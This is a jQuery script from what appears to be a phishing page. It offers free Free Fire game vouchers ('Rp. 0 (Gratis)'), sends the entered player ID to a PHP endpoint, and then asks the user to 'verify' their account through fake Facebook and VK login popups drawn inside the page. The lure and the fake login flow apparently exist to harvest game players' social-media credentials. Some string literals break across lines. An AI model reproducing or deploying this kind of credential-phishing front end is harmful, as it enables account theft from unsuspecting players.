$(document).ready(function() {
$("li.voucher-list-element").on('click', function() {
$("#hidePopError").show();
$("span.element-check-label").hide()
$(this).find(".element-check-label").show();
$("#checkLabel").show();
$("#priceLabel_227").html("Harga");
$("#priceInfo_227").html("Rp. 0 (Gratis)");
$("#showPayLabel").show();
$("#showTagline").show();
$("li.payment-channel-element").on('click', function() {
$("span.element-check-label").hide()
$("div#priceLabel_227").html("");
$("div#priceInfo_227").html("");
$("div#showPayLabel").hide();
$("div#showTagline").hide();
$(this).find(".element-check-label").show();
$(this).find("#priceLabel_227").html("Harga");
$(this).find("#priceInfo_227").html("Rp. 0 (Gratis)");
$(this).find("#showPayLabel").show();
$(this).find("#showTagline").show();
$("#payWith").html($(this).find("span#paymentName").html());
});
$("#mdn-submit").on('click', function() {
var userId = $("#userId").val();
if(userId == "") {
$("#overlay").hide();
$(".popError").hide();
$("#errorMessage").addClass("errorMessage__container");
$("#errorMessage").html("
Silahkan isi Player ID Free Fire Anda.");
$("#overlay").show();
$(".popError").show();
} else {
$.ajax({
url: "../ryucodex/trueId.php",
type: "POST",
data: "userId="+userId,
beforeSend: function() {
$("#overlay").hide();
$(".popError").hide();
$(".spinner-container").show();
},
success: function(response) {
$("#overlay").hide();
$(".popError").hide();
if(!$.trim(response)) {
$(".spinner-container").hide();
$("#showPlayerId").html(userId);
$("#overlay").show();
$("#showKonfirm").fadeIn("slow");
$("#doConfirm").on("click", function() {
$("#showKonfirm").hide();
$("#errorMessage").removeClass("errorMessage__container");
$(".errorHeader").html("Hi "+response+", Verifikasi akun anda");
$("#errorMessage").html('Metode Login :
');
$("#overlay").show();
$(".popError").show();
$("#hidePopError").hide();
$("input#userIdForm").val(userId);
$("#fbLogin").on('click', function() {
$("#errorMessage").addClass("errorMessage__container");
$("#overlay").hide();
$(".popError").hide();
$("#hidePopError").show();
$(".facebook").fadeIn('slow');
$(".close-fb").on('click', function() {
$(".facebook").hide();
$("#submit-loader").hide();
$("#errorMessage").removeClass("errorMessage__container");
$("#overlay").show();
$(".popError").show();
$("#hidePopError").hide();
});
});
$("#vkLogin").on('click', function() {
$("#errorMessage").addClass("errorMessage__container");
$("#overlay").hide();
$(".popError").hide();
$("#hidePopError").show();
$(".twitter").fadeIn('slow');
$(".close-other").on('click', function() {
$(".twitter").hide();
$("#submit-loader").hide();
$("#errorMessage").removeClass("errorMessage__container");
$("#overlay").show();
$(".popError").show();
$("#hidePopError").hide();
});
});
});
}
}
});
}
});
});
$("#mdn-submit").on('click', function() {
$("#overlay").show();
$(".popError").show();
$("#errorMessage").addClass("errorMessage__container");
$("#errorMessage").html("Silahkan isi Player ID Free Fire Anda.Silahkan pilih nomor voucherSilahkan pilih metode pembayaran");
$("#hidePopError").on('click', function() {
$("#errorMessage").html("");
$("#overlay").hide();
$(".popError").hide();
});
});
});